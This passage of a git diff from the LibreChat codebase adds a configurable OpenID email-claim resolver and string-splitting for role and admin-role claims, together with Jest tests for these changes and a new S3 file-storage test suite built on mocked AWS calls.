+    findUser.mockImplementation(async (query) => {
+      if (query.$or) {
+        return null;
+      }
+      if (query.email === 'legacy@corp.com') {
+        return legacyUser;
+      }
+      return null;
+    });
+
+    const req = { headers: { authorization: 'Bearer tok' }, session: {} };
+    const { user } = await invokeVerify(req, payloadNoEmail);
+
+    expect(findUser).toHaveBeenCalledTimes(2);
+    expect(findUser.mock.calls[1][0]).toEqual({ email: 'legacy@corp.com' });
+    expect(user).toBeTruthy();
+    expect(updateUser).toHaveBeenCalledWith(
+      'legacy-db-id',
+      expect.objectContaining({ provider: 'openid', openidId: payloadNoEmail.sub }),
+    );
+  });
+});
diff --git a/api/strategies/openidStrategy.js b/api/strategies/openidStrategy.js
index 198c8735ae..0ebdcb04e1 100644
--- a/api/strategies/openidStrategy.js
+++ b/api/strategies/openidStrategy.js
@@ -267,6 +267,34 @@ function getFullName(userinfo) {
   return userinfo.username || userinfo.email;
 }
 
+/**
+ * Resolves the user identifier from OpenID claims.
+ * Configurable via OPENID_EMAIL_CLAIM; defaults to: email -> preferred_username -> upn.
+ *
+ * @param {Object} userinfo - The user information object from OpenID Connect
+ * @returns {string|undefined} The resolved identifier string
+ */
+function getOpenIdEmail(userinfo) {
+  const claimKey = process.env.OPENID_EMAIL_CLAIM?.trim();
+  if (claimKey) {
+    const value = userinfo[claimKey];
+    if (typeof value === 'string' && value) {
+      return value;
+    }
+    if (value !== undefined && value !== null) {
+      logger.warn(
+        `[openidStrategy] OPENID_EMAIL_CLAIM="${claimKey}" resolved to a non-string value (type: ${typeof value}). Falling back to: email -> preferred_username -> upn.`,
+      );
+    } else {
+      logger.warn(
+        `[openidStrategy] OPENID_EMAIL_CLAIM="${claimKey}" not present in userinfo. Falling back to: email -> preferred_username -> upn.`,
+      );
+    }
+  }
+  const fallback = userinfo.email || userinfo.preferred_username || userinfo.upn;
+  return typeof fallback === 'string' ? fallback : undefined;
+}
+
 /**
  * Converts an input into a string suitable for a username.
  * If the input is a string, it will be returned as is.
@@ -379,11 +407,10 @@ async function processOpenIDAuth(tokenset, existingUsersOnly = false) {
   }
 
   const appConfig = await getAppConfig();
-  /** Azure AD sometimes doesn't return email, use preferred_username as fallback */
-  const email = userinfo.email || userinfo.preferred_username || userinfo.upn;
+  const email = getOpenIdEmail(userinfo);
   if (!isEmailDomainAllowed(email, appConfig?.registration?.allowedDomains)) {
     logger.error(
-      `[OpenID Strategy] Authentication blocked - email domain not allowed [Email: ${userinfo.email}]`,
+      `[OpenID Strategy] Authentication blocked - email domain not allowed [Identifier: ${email}]`,
     );
     throw new Error('Email domain not allowed');
   }
@@ -451,7 +478,7 @@ async function processOpenIDAuth(tokenset, existingUsersOnly = false) {
       throw new Error(`You must have ${rolesList} role to log in.`);
     }
 
-    const roleValues = Array.isArray(roles) ? roles : [roles];
+    const roleValues = Array.isArray(roles) ? roles : roles.split(/[\s,]+/).filter(Boolean);
 
     if (!requiredRoles.some((role) => roleValues.includes(role))) {
       const rolesList =
@@ -524,13 +551,14 @@ async function processOpenIDAuth(tokenset, existingUsersOnly = false) {
     }
 
     const adminRoles = get(adminRoleObject, adminRoleParameterPath);
+    let adminRoleValues = [];
+    if (Array.isArray(adminRoles)) {
+      adminRoleValues = adminRoles;
+    } else if (typeof adminRoles === 'string') {
+      adminRoleValues = adminRoles.split(/[\s,]+/).filter(Boolean);
+    }
 
-    if (
-      adminRoles &&
-      (adminRoles === true ||
-        adminRoles === adminRole ||
-        (Array.isArray(adminRoles) && adminRoles.includes(adminRole)))
-    ) {
+    if (adminRoles && (adminRoles === true || adminRoleValues.includes(adminRole))) {
       user.role = SystemRoles.ADMIN;
       logger.info(`[openidStrategy] User ${username} is an admin based on role: ${adminRole}`);
     } else if (user.role === SystemRoles.ADMIN) {
@@ -727,4 +755,5 @@ function getOpenIdConfig() {
 module.exports = {
   setupOpenId,
   getOpenIdConfig,
+  getOpenIdEmail,
 };
diff --git a/api/strategies/openidStrategy.spec.js b/api/strategies/openidStrategy.spec.js
index b1dc54d77b..485b77829e 100644
--- a/api/strategies/openidStrategy.spec.js
+++ b/api/strategies/openidStrategy.spec.js
@@ -1,6 +1,6 @@
+const undici = require('undici');
 const fetch = require('node-fetch');
 const jwtDecode = require('jsonwebtoken/decode');
-const undici = require('undici');
 const { ErrorTypes } = require('librechat-data-provider');
 const { findUser, createUser, updateUser } = require('~/models');
 const { setupOpenId } = require('./openidStrategy');
@@ -152,6 +152,7 @@ describe('setupOpenId', () => {
     process.env.OPENID_ADMIN_ROLE_TOKEN_KIND = 'id';
     delete process.env.OPENID_USERNAME_CLAIM;
     delete process.env.OPENID_NAME_CLAIM;
+    delete process.env.OPENID_EMAIL_CLAIM;
     delete process.env.PROXY;
     delete process.env.OPENID_USE_PKCE;
 
@@ -384,6 +385,62 @@ describe('setupOpenId', () => {
     expect(details.message).toBe('You must have "read" role to log in.');
   });
 
+  it('should allow login when roles claim is a space-separated string containing the required role', async () => {
+    // Arrange – IdP returns roles as a space-delimited string
+    jwtDecode.mockReturnValue({
+      roles: 'role1 role2 requiredRole',
+    });
+
+    // Act
+    const { user } = await validate(tokenset);
+
+    // Assert – login succeeds when required role is present after splitting
+    expect(user).toBeTruthy();
+    expect(createUser).toHaveBeenCalled();
+  });
+
+  it('should allow login when roles claim is a comma-separated string containing the required role', async () => {
+    // Arrange – IdP returns roles as a comma-delimited string
+    jwtDecode.mockReturnValue({
+      roles: 'role1,role2,requiredRole',
+    });
+
+    // Act
+    const { user } = await validate(tokenset);
+
+    // Assert – login succeeds when required role is present after splitting
+    expect(user).toBeTruthy();
+    expect(createUser).toHaveBeenCalled();
+  });
+
+  it('should allow login when roles claim is a mixed comma-and-space-separated string containing the required role', async () => {
+    // Arrange – IdP returns roles with comma-and-space delimiters
+    jwtDecode.mockReturnValue({
+      roles: 'role1, role2, requiredRole',
+    });
+
+    // Act
+    const { user } = await validate(tokenset);
+
+    // Assert – login succeeds when required role is present after splitting
+    expect(user).toBeTruthy();
+    expect(createUser).toHaveBeenCalled();
+  });
+
+  it('should reject login when roles claim is a space-separated string that does not contain the required role', async () => {
+    // Arrange – IdP returns a delimited string but required role is absent
+    jwtDecode.mockReturnValue({
+      roles: 'role1 role2 otherRole',
+    });
+
+    // Act
+    const { user, details } = await validate(tokenset);
+
+    // Assert – login is rejected with the correct error message
+    expect(user).toBe(false);
+    expect(details.message).toBe('You must have "requiredRole" role to log in.');
+  });
+
   it('should allow login when single required role is present (backward compatibility)', async () => {
     // Arrange – ensure single role configuration (as set in beforeEach)
     // OPENID_REQUIRED_ROLE = 'requiredRole'
@@ -1182,6 +1239,46 @@ describe('setupOpenId', () => {
       expect(user.role).toBeUndefined();
     });
 
+    it('should grant admin when admin role claim is a space-separated string containing the admin role', async () => {
+      // Arrange – IdP returns admin roles as a space-delimited string
+      process.env.OPENID_ADMIN_ROLE = 'site-admin';
+      process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH = 'app_roles';
+
+      jwtDecode.mockReturnValue({
+        roles: ['requiredRole'],
+        app_roles: 'user site-admin moderator',
+      });
+
+      await setupOpenId();
+      verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
+
+      // Act
+      const { user } = await validate(tokenset);
+
+      // Assert – admin role is granted after splitting the delimited string
+      expect(user.role).toBe('ADMIN');
+    });
+
+    it('should not grant admin when admin role claim is a space-separated string that does not contain the admin role', async () => {
+      // Arrange – delimited string present but admin role is absent
+      process.env.OPENID_ADMIN_ROLE = 'site-admin';
+      process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH = 'app_roles';
+
+      jwtDecode.mockReturnValue({
+        roles: ['requiredRole'],
+        app_roles: 'user moderator',
+      });
+
+      await setupOpenId();
+      verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
+
+      // Act
+      const { user } = await validate(tokenset);
+
+      // Assert – admin role is not granted
+      expect(user.role).toBeUndefined();
+    });
+
     it('should handle nested path with special characters in keys', async () => {
       process.env.OPENID_REQUIRED_ROLE = 'app-user';
       process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'resource_access.my-app-123.roles';
@@ -1306,4 +1403,82 @@ describe('setupOpenId', () => {
       expect(user).toBe(false);
     });
   });
+
+  describe('OPENID_EMAIL_CLAIM', () => {
+    it('should use the default email when OPENID_EMAIL_CLAIM is not set', async () => {
+      const { user } = await validate(tokenset);
+      expect(user.email).toBe('test@example.com');
+    });
+
+    it('should use the configured claim when OPENID_EMAIL_CLAIM is set', async () => {
+      process.env.OPENID_EMAIL_CLAIM = 'upn';
+      const userinfo = { ...tokenset.claims(), upn: 'user@corp.example.com' };
+
+      const { user } = await validate({ ...tokenset, claims: () => userinfo });
+
+      expect(user.email).toBe('user@corp.example.com');
+      expect(createUser).toHaveBeenCalledWith(
+        expect.objectContaining({ email: 'user@corp.example.com' }),
+        expect.anything(),
+        true,
+        true,
+      );
+    });
+
+    it('should fall back to preferred_username when email is missing and OPENID_EMAIL_CLAIM is not set', async () => {
+      const userinfo = { ...tokenset.claims() };
+      delete userinfo.email;
+
+      const { user } = await validate({ ...tokenset, claims: () => userinfo });
+
+      expect(user.email).toBe('testusername');
+    });
+
+    it('should fall back to upn when email and preferred_username are missing and OPENID_EMAIL_CLAIM is not set', async () => {
+      const userinfo = { ...tokenset.claims(), upn: 'user@corp.example.com' };
+      delete userinfo.email;
+      delete userinfo.preferred_username;
+
+      const { user } = await validate({ ...tokenset, claims: () => userinfo });
+
+      expect(user.email).toBe('user@corp.example.com');
+    });
+
+    it('should ignore empty string OPENID_EMAIL_CLAIM and use default fallback', async () => {
+      process.env.OPENID_EMAIL_CLAIM = '';
+
+      const { user } = await validate(tokenset);
+
+      expect(user.email).toBe('test@example.com');
+    });
+
+    it('should trim whitespace from OPENID_EMAIL_CLAIM and resolve correctly', async () => {
+      process.env.OPENID_EMAIL_CLAIM = '  upn  ';
+      const userinfo = { ...tokenset.claims(), upn: 'user@corp.example.com' };
+
+      const { user } = await validate({ ...tokenset, claims: () => userinfo });
+
+      expect(user.email).toBe('user@corp.example.com');
+    });
+
+    it('should ignore whitespace-only OPENID_EMAIL_CLAIM and use default fallback', async () => {
+      process.env.OPENID_EMAIL_CLAIM = '   ';
+
+      const { user } = await validate(tokenset);
+
+      expect(user.email).toBe('test@example.com');
+    });
+
+    it('should fall back to default chain with warning when configured claim is missing from userinfo', async () => {
+      const { logger } = require('@librechat/data-schemas');
+      process.env.OPENID_EMAIL_CLAIM = 'nonexistent_claim';
+
+      const { user } = await validate(tokenset);
+
+      expect(user.email).toBe('test@example.com');
+      expect(logger.warn).toHaveBeenCalledWith(
+        expect.stringContaining('OPENID_EMAIL_CLAIM="nonexistent_claim" not present in userinfo'),
+      );
+    });
+  });
 });
diff --git a/api/strategies/samlStrategy.spec.js b/api/strategies/samlStrategy.spec.js
index 06c969ce46..1d16719b87 100644
--- a/api/strategies/samlStrategy.spec.js
+++ b/api/strategies/samlStrategy.spec.js
@@ -1,5 +1,4 @@
 // --- Mocks ---
-jest.mock('tiktoken');
 jest.mock('fs');
 jest.mock('path');
 jest.mock('node-fetch');
diff --git a/api/test/services/Files/S3/crud.test.js b/api/test/services/Files/S3/crud.test.js
new file mode 100644
index 0000000000..c7b46fba4c
--- /dev/null
+++ b/api/test/services/Files/S3/crud.test.js
@@ -0,0 +1,876 @@
+const fs = require('fs');
+const fetch = require('node-fetch');
+const { Readable } = require('stream');
+const { FileSources } = require('librechat-data-provider');
+const {
+  PutObjectCommand,
+  GetObjectCommand,
+  HeadObjectCommand,
+  DeleteObjectCommand,
+} = require('@aws-sdk/client-s3');
+const { getSignedUrl } = require('@aws-sdk/s3-request-presigner');
+
+// Mock dependencies
+jest.mock('fs');
+jest.mock('node-fetch');
+jest.mock('@aws-sdk/s3-request-presigner');
+jest.mock('@aws-sdk/client-s3');
+
+jest.mock('@librechat/api', () => ({
+  initializeS3: jest.fn(),
+  deleteRagFile: jest.fn().mockResolvedValue(undefined),
+  isEnabled: jest.fn((val) => val === 'true'),
+}));
+
+jest.mock('@librechat/data-schemas', () => ({
+  logger: {
+    debug: jest.fn(),
+    info: jest.fn(),
+    warn: jest.fn(),
+    error: jest.fn(),
+  },
+}));
+
+const { initializeS3, deleteRagFile } = require('@librechat/api');
+const { logger } = require('@librechat/data-schemas');
+
+// Set env vars before requiring crud so module-level constants pick them up
+process.env.AWS_BUCKET_NAME = 'test-bucket';
+process.env.S3_URL_EXPIRY_SECONDS = '120';
+
+const {
+  saveBufferToS3,
+  saveURLToS3,
+  getS3URL,
+  deleteFileFromS3,
+  uploadFileToS3,
+  getS3FileStream,
+  refreshS3FileUrls,
+  refreshS3Url,
+  needsRefresh,
+  getNewS3URL,
+  extractKeyFromS3Url,
+} = require('~/server/services/Files/S3/crud');
+
+describe('S3 CRUD Operations', () => {
+  let mockS3Client;
+
+  beforeEach(() => {
+    jest.clearAllMocks();
+
+    // Setup mock S3 client
+    mockS3Client = {
+      send: jest.fn(),
+    };
+    initializeS3.mockReturnValue(mockS3Client);
+  });
+
+  afterEach(() => {
+    delete process.env.S3_URL_EXPIRY_SECONDS;
+    delete process.env.S3_REFRESH_EXPIRY_MS;
+    delete process.env.AWS_BUCKET_NAME;
+  });
+
+  describe('saveBufferToS3', () => {
+    it('should upload a buffer to S3 and return a signed URL', async () => {
+      const mockBuffer = Buffer.from('test data');
+      const mockSignedUrl =
+        'https://s3.amazonaws.com/test-bucket/images/user123/test.jpg?signature=abc';
+
+      mockS3Client.send.mockResolvedValue({});
+      getSignedUrl.mockResolvedValue(mockSignedUrl);
+
+      const result = await saveBufferToS3({
+        userId: 'user123',
+        buffer: mockBuffer,
+        fileName: 'test.jpg',
+        basePath: 'images',
+      });
+
+      expect(mockS3Client.send).toHaveBeenCalledWith(expect.any(PutObjectCommand));
+      expect(result).toBe(mockSignedUrl);
+    });
+
+    it('should use default basePath if not provided', async () => {
+      const mockBuffer = Buffer.from('test data');
+      const mockSignedUrl =
+        'https://s3.amazonaws.com/test-bucket/images/user123/test.jpg?signature=abc';
+
+      mockS3Client.send.mockResolvedValue({});
+      getSignedUrl.mockResolvedValue(mockSignedUrl);
+
+      await saveBufferToS3({
+        userId: 'user123',
+        buffer: mockBuffer,
+        fileName: 'test.jpg',
+      });
+
+      expect(getSignedUrl).toHaveBeenCalled();
+    });
+
+    it('should handle S3 upload errors', async () => {
+      const mockBuffer = Buffer.from('test data');
+      const error = new Error('S3 upload failed');
+
+      mockS3Client.send.mockRejectedValue(error);
+
+      await expect(
+        saveBufferToS3({
+          userId: 'user123',
+          buffer: mockBuffer,
+          fileName: 'test.jpg',
+        }),
+      ).rejects.toThrow('S3 upload failed');
+
+      expect(logger.error).toHaveBeenCalledWith(
+        '[saveBufferToS3] Error uploading buffer to S3:',
+        'S3 upload failed',
+      );
+    });
+  });
+
+  describe('getS3URL', () => {
+    it('should return a signed URL for a file', async () => {
+      const mockSignedUrl =
+        'https://s3.amazonaws.com/test-bucket/images/user123/file.pdf?signature=xyz';
+      getSignedUrl.mockResolvedValue(mockSignedUrl);
+
+      const result = await getS3URL({
+        userId: 'user123',
+        fileName: 'file.pdf',
+        basePath: 'documents',
+      });
+
+      expect(result).toBe(mockSignedUrl);
+      expect(getSignedUrl).toHaveBeenCalledWith(
+        mockS3Client,
+        expect.any(GetObjectCommand),
+        expect.objectContaining({ expiresIn: 120 }),
+      );
+    });
+
+    it('should add custom filename to Content-Disposition header', async () => {
+      const mockSignedUrl =
+        'https://s3.amazonaws.com/test-bucket/images/user123/file.pdf?signature=xyz';
+      getSignedUrl.mockResolvedValue(mockSignedUrl);
+
+      await getS3URL({
+        userId: 'user123',
+        fileName: 'file.pdf',
+        customFilename: 'custom-name.pdf',
+      });
+
+      expect(getSignedUrl).toHaveBeenCalled();
+    });
+
+    it('should add custom content type', async () => {
+      const mockSignedUrl =
+        'https://s3.amazonaws.com/test-bucket/images/user123/file.pdf?signature=xyz';
+      getSignedUrl.mockResolvedValue(mockSignedUrl);
+
+      await getS3URL({
+        userId: 'user123',
+        fileName: 'file.pdf',
+        contentType: 'application/pdf',
+      });
+
+      expect(getSignedUrl).toHaveBeenCalled();
+    });
+
+    it('should handle errors when getting signed URL', async () => {
+      const error = new Error('Failed to sign URL');
+      getSignedUrl.mockRejectedValue(error);
+
+      await expect(
+        getS3URL({
+          userId: 'user123',
+          fileName: 'file.pdf',
+        }),
+      ).rejects.toThrow('Failed to sign URL');
+
+      expect(logger.error).toHaveBeenCalledWith(
+        '[getS3URL] Error getting signed URL from S3:',
+        'Failed to sign URL',
+      );
+    });
+  });
+
+  describe('saveURLToS3', () => {
+    it('should fetch a file from URL and save to S3', async () => {
+      const mockBuffer = Buffer.from('downloaded data');
+      const mockResponse = {
+        buffer: jest.fn().mockResolvedValue(mockBuffer),
+      };
+      const mockSignedUrl =
+        'https://s3.amazonaws.com/test-bucket/images/user123/downloaded.jpg?signature=abc';
+
+      fetch.mockResolvedValue(mockResponse);
+      mockS3Client.send.mockResolvedValue({});
+      getSignedUrl.mockResolvedValue(mockSignedUrl);
+
+      const result = await saveURLToS3({
+        userId: 'user123',
+        URL: 'https://example.com/image.jpg',
+        fileName: 'downloaded.jpg',
+      });
+
+      expect(fetch).toHaveBeenCalledWith('https://example.com/image.jpg');
+      expect(mockS3Client.send).toHaveBeenCalled();
+      expect(result).toBe(mockSignedUrl);
+    });
+
+    it('should handle fetch errors', async () => {
+      const error = new Error('Network error');
+      fetch.mockRejectedValue(error);
+
+      await expect(
+        saveURLToS3({
+          userId: 'user123',
+          URL: 'https://example.com/image.jpg',
+          fileName: 'downloaded.jpg',
+        }),
+      ).rejects.toThrow('Network error');
+
+      expect(logger.error).toHaveBeenCalled();
+    });
+  });
+
+  describe('deleteFileFromS3', () => {
+    const mockReq = {
+      user: { id: 'user123' },
+    };
+
+    it('should delete a file from S3', async () => {
+      const mockFile = {
+        filepath: 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg',
+        file_id: 'file123',
+      };
+
+      // Mock HeadObject to verify file exists
+      mockS3Client.send
+        .mockResolvedValueOnce({}) // First HeadObject - exists
+        .mockResolvedValueOnce({}) // DeleteObject
+        .mockRejectedValueOnce({ name: 'NotFound' }); // Second HeadObject - deleted
+
+      await deleteFileFromS3(mockReq, mockFile);
+
+      expect(deleteRagFile).toHaveBeenCalledWith({ userId: 'user123', file: mockFile });
+      expect(mockS3Client.send).toHaveBeenCalledWith(expect.any(HeadObjectCommand));
+      expect(mockS3Client.send).toHaveBeenCalledWith(expect.any(DeleteObjectCommand));
+    });
+
+    it('should handle file not found gracefully', async () => {
+      const mockFile = {
+        filepath: 'https://s3.amazonaws.com/test-bucket/images/user123/nonexistent.jpg',
+        file_id: 'file123',
+      };
+
+      mockS3Client.send.mockRejectedValue({ name: 'NotFound' });
+
+      await deleteFileFromS3(mockReq, mockFile);
+
+      expect(logger.warn).toHaveBeenCalled();
+    });
+
+    it('should throw error if user ID does not match', async () => {
+      const mockFile = {
+        filepath: 'https://s3.amazonaws.com/test-bucket/images/different-user/file.jpg',
+        file_id: 'file123',
+      };
+
+      await expect(deleteFileFromS3(mockReq, mockFile)).rejects.toThrow('User ID mismatch');
+      expect(logger.error).toHaveBeenCalled();
+    });
+
+    it('should handle NoSuchKey error', async () => {
+      const mockFile = {
+        filepath: 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg',
+        file_id: 'file123',
+      };
+
+      mockS3Client.send
+        .mockResolvedValueOnce({}) // HeadObject - exists
+        .mockRejectedValueOnce({ code: 'NoSuchKey' }); // DeleteObject fails
+
+      await deleteFileFromS3(mockReq, mockFile);
+
+      expect(logger.debug).toHaveBeenCalled();
+    });
+  });
+
+  describe('uploadFileToS3', () => {
+    const mockReq = {
+      user: { id: 'user123' },
+    };
+
+    it('should upload a file from disk to S3', async () => {
+      const mockFile = {
+        path: '/tmp/upload.jpg',
+        originalname: 'photo.jpg',
+      };
+      const mockStats = { size: 1024 };
+      const mockSignedUrl =
+        'https://s3.amazonaws.com/test-bucket/images/user123/file123__photo.jpg?signature=xyz';
+
+      fs.promises = { stat: jest.fn().mockResolvedValue(mockStats) };
+      fs.createReadStream = jest.fn().mockReturnValue(new Readable());
+      mockS3Client.send.mockResolvedValue({});
+      getSignedUrl.mockResolvedValue(mockSignedUrl);
+
+      const result = await uploadFileToS3({
+        req: mockReq,
+        file: mockFile,
+        file_id: 'file123',
+        basePath: 'images',
+      });
+
+      expect(result).toEqual({
+        filepath: mockSignedUrl,
+        bytes: 1024,
+      });
+      expect(fs.createReadStream).toHaveBeenCalledWith('/tmp/upload.jpg');
+      expect(mockS3Client.send).toHaveBeenCalledWith(expect.any(PutObjectCommand));
+    });
+
+    it('should handle upload errors and clean up temp file', async () => {
+      const mockFile = {
+        path: '/tmp/upload.jpg',
+        originalname: 'photo.jpg',
+      };
+      const error = new Error('Upload failed');
+
+      fs.promises = {
+        stat: jest.fn().mockResolvedValue({ size: 1024 }),
+        unlink: jest.fn().mockResolvedValue(),
+      };
+      fs.createReadStream = jest.fn().mockReturnValue(new Readable());
+      mockS3Client.send.mockRejectedValue(error);
+
+      await expect(
+        uploadFileToS3({
+          req: mockReq,
+          file: mockFile,
+          file_id: 'file123',
+        }),
+      ).rejects.toThrow('Upload failed');
+
+      expect(logger.error).toHaveBeenCalledWith(
+        '[uploadFileToS3] Error streaming file to S3:',
+        error,
+      );
+    });
+  });
+
+  describe('getS3FileStream', () => {
+    it('should return a readable stream for a file', async () => {
+      const mockStream = new Readable();
+      const mockResponse = { Body: mockStream };
+
+      mockS3Client.send.mockResolvedValue(mockResponse);
+
+      const result = await getS3FileStream(
+        {},
+        'https://s3.amazonaws.com/test-bucket/images/user123/file.pdf',
+      );
+
+      expect(result).toBe(mockStream);
+      expect(mockS3Client.send).toHaveBeenCalledWith(expect.any(GetObjectCommand));
+    });
+
+    it('should handle errors when retrieving stream', async () => {
+      const error = new Error('Stream error');
+      mockS3Client.send.mockRejectedValue(error);
+
+      await expect(getS3FileStream({}, 'images/user123/file.pdf')).rejects.toThrow('Stream error');
+      expect(logger.error).toHaveBeenCalled();
+    });
+  });
+
+  describe('needsRefresh', () => {
+    it('should return false for non-signed URLs', () => {
+      const url = 'https://example.com/proxy/file.jpg';
+      const result = needsRefresh(url, 3600);
+      expect(result).toBe(false);
+    });
+
+    it('should return true for expired signed URLs', () => {
+      const now = new Date();
+      const past = new Date(now.getTime() - 3600 * 1000); // 1 hour ago
+      const dateStr = past
+        .toISOString()
+        .replace(/[-:]/g, '')
+        .replace(/\.\d{3}/, '');
+
+      const url = `https://s3.amazonaws.com/bucket/key?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=60`;
+      const result = needsRefresh(url, 60);
+      expect(result).toBe(true);
+    });
+
+    it('should return false for URLs that are not close to expiration', () => {
+      const now = new Date();
+      const recent = new Date(now.getTime() - 10 * 1000); // 10 seconds ago
+      const dateStr = recent
+        .toISOString()
+        .replace(/[-:]/g, '')
+        .replace(/\.\d{3}/, '');
+
+      const url = `https://s3.amazonaws.com/bucket/key?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=7200`;
+      const result = needsRefresh(url, 60);
+      expect(result).toBe(false);
+    });
+
+    it('should use custom refresh expiry when S3_REFRESH_EXPIRY_MS is set', () => {
+      process.env.S3_REFRESH_EXPIRY_MS = '30000'; // 30 seconds
+
+      const now = new Date();
+      const recent = new Date(now.getTime() - 31 * 1000); // 31 seconds ago
+      const dateStr = recent
+        .toISOString()
+        .replace(/[-:]/g, '')
+        .replace(/\.\d{3}/, '');
+
+      const url = `https://s3.amazonaws.com/bucket/key?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=7200`;
+
+      // Need to reload the module to pick up the env var change
+      jest.resetModules();
+      const { needsRefresh: needsRefreshReloaded } = require('~/server/services/Files/S3/crud');
+
+      const result = needsRefreshReloaded(url, 60);
+      expect(result).toBe(true);
+    });
+
+    it('should return true for malformed URLs', () => {
+      const url = 'not-a-valid-url';
+      const result = needsRefresh(url, 3600);
+      expect(result).toBe(true);
+    });
+  });
+
+  describe('getNewS3URL', () => {
+    it('should generate a new URL from an existing S3 URL', async () => {
+      const currentURL =
+        'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg?signature=old';
+      const newURL = 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg?signature=new';
+
+      getSignedUrl.mockResolvedValue(newURL);
+
+      const result = await getNewS3URL(currentURL);
+
+      expect(result).toBe(newURL);
+      expect(getSignedUrl).toHaveBeenCalled();
+    });
+
+    it('should return undefined for invalid URLs', async () => {
+      const result = await getNewS3URL('invalid-url');
+      expect(result).toBeUndefined();
+    });
+
+    it('should handle errors gracefully', async () => {
+      const currentURL = 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg';
+      getSignedUrl.mockRejectedValue(new Error('Failed'));
+
+      const result = await getNewS3URL(currentURL);
+
+      expect(result).toBeUndefined();
+      expect(logger.error).toHaveBeenCalledWith('Error getting new S3 URL:', expect.any(Error));
+    });
+
+    it('should construct GetObjectCommand with correct key (no bucket name duplication)', async () => {
+      const currentURL =
+        'https://s3.amazonaws.com/my-bucket/images/user123/file.jpg?X-Amz-Signature=old';
+      getSignedUrl.mockResolvedValue(
+        'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg?signature=new',
+      );
+
+      await getNewS3URL(currentURL);
+
+      expect(GetObjectCommand).toHaveBeenCalledWith(
+        expect.objectContaining({ Key: 'images/user123/file.jpg' }),
+      );
+    });
+  });
+
+  describe('refreshS3FileUrls', () => {
+    it('should refresh expired URLs for multiple files', async () => {
+      const now = new Date();
+      const past = new Date(now.getTime() - 3600 * 1000);
+      const dateStr = past
+        .toISOString()
+        .replace(/[-:]/g, '')
+        .replace(/\.\d{3}/, '');
+
+      const files = [
+        {
+          file_id: 'file1',
+          source: FileSources.s3,
+          filepath: `https://s3.amazonaws.com/bucket/images/user123/file1.jpg?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=60`,
+        },
+        {
+          file_id: 'file2',
+          source: FileSources.s3,
+          filepath: `https://s3.amazonaws.com/bucket/images/user123/file2.jpg?X-Amz-Signature=def&X-Amz-Date=${dateStr}&X-Amz-Expires=60`,
+        },
+      ];
+
+      const newURL1 = 'https://s3.amazonaws.com/bucket/images/user123/file1.jpg?signature=new1';
+      const newURL2 = 'https://s3.amazonaws.com/bucket/images/user123/file2.jpg?signature=new2';
+
+      getSignedUrl.mockResolvedValueOnce(newURL1).mockResolvedValueOnce(newURL2);
+
+      const mockBatchUpdate = jest.fn().mockResolvedValue();
+
+      const result = await refreshS3FileUrls(files, mockBatchUpdate, 60);
+
+      expect(result[0].filepath).toBe(newURL1);
+      expect(result[1].filepath).toBe(newURL2);
+      expect(mockBatchUpdate).toHaveBeenCalledWith([
+        { file_id: 'file1', filepath: newURL1 },
+        { file_id: 'file2', filepath: newURL2 },
+      ]);
+    });
+
+    it('should skip non-S3 files', async () => {
+      const files = [
+        {
+          file_id: 'file1',
+          source: 'local',
+          filepath: '/local/path/file.jpg',
+        },
+      ];
+
+      const mockBatchUpdate = jest.fn();
+
+      const result = await refreshS3FileUrls(files, mockBatchUpdate);
+
+      expect(result).toEqual(files);
+      expect(mockBatchUpdate).not.toHaveBeenCalled();
+    });
+
+    it('should handle empty or invalid input', async () => {
+      const mockBatchUpdate = jest.fn();
+
+      const result1 = await refreshS3FileUrls(null, mockBatchUpdate);
+      expect(result1).toBe(null);
+
+      const result2 = await refreshS3FileUrls([], mockBatchUpdate);
+      expect(result2).toEqual([]);
+
+      expect(mockBatchUpdate).not.toHaveBeenCalled();
+    });
+
+    it('should handle errors for individual files gracefully', async () => {
+      const now = new Date();
+      const past = new Date(now.getTime() - 3600 * 1000);
+      const dateStr = past
+        .toISOString()
+        .replace(/[-:]/g, '')
+        .replace(/\.\d{3}/, '');
+
+      const files = [
+        {
+          file_id: 'file1',
+          source: FileSources.s3,
+          filepath: `https://s3.amazonaws.com/bucket/images/user123/file1.jpg?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=60`,
+        },
+      ];
+
+      getSignedUrl.mockRejectedValue(new Error('Failed to refresh'));
+      const mockBatchUpdate = jest.fn();
+
+      await refreshS3FileUrls(files, mockBatchUpdate, 60);
+
+      expect(logger.error).toHaveBeenCalledWith('Error getting new S3 URL:', expect.any(Error));
+      expect(mockBatchUpdate).not.toHaveBeenCalled();
+    });
+  });
+
+  describe('refreshS3Url', () => {
+    it('should refresh an expired S3 URL', async () => {
+      const now = new Date();
+      const past = new Date(now.getTime() - 3600 * 1000);
+      const dateStr = past
+        .toISOString()
+        .replace(/[-:]/g, '')
+        .replace(/\.\d{3}/, '');
+
+      const fileObj = {
+        source: FileSources.s3,
+        filepath: `https://s3.amazonaws.com/bucket/images/user123/file.jpg?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=60`,
+      };
+
+      const newURL = 'https://s3.amazonaws.com/bucket/images/user123/file.jpg?signature=new';
+      getSignedUrl.mockResolvedValue(newURL);
+
+      const result = await refreshS3Url(fileObj, 60);
+
+      expect(result).toBe(newURL);
+    });
+
+    it('should return original URL if not expired', async () => {
+      const fileObj = {
+        source: FileSources.s3,
+        filepath: 'https://example.com/proxy/file.jpg',
+      };
+
+      const result = await refreshS3Url(fileObj, 3600);
+
+      expect(result).toBe(fileObj.filepath);
+      expect(getSignedUrl).not.toHaveBeenCalled();
+    });
+
+    it('should return empty string for null input', async () => {
+      const result = await refreshS3Url(null);
+      expect(result).toBe('');
+    });
+
+    it('should return original URL for non-S3 files', async () => {
+      const fileObj = {
+        source: 'local',
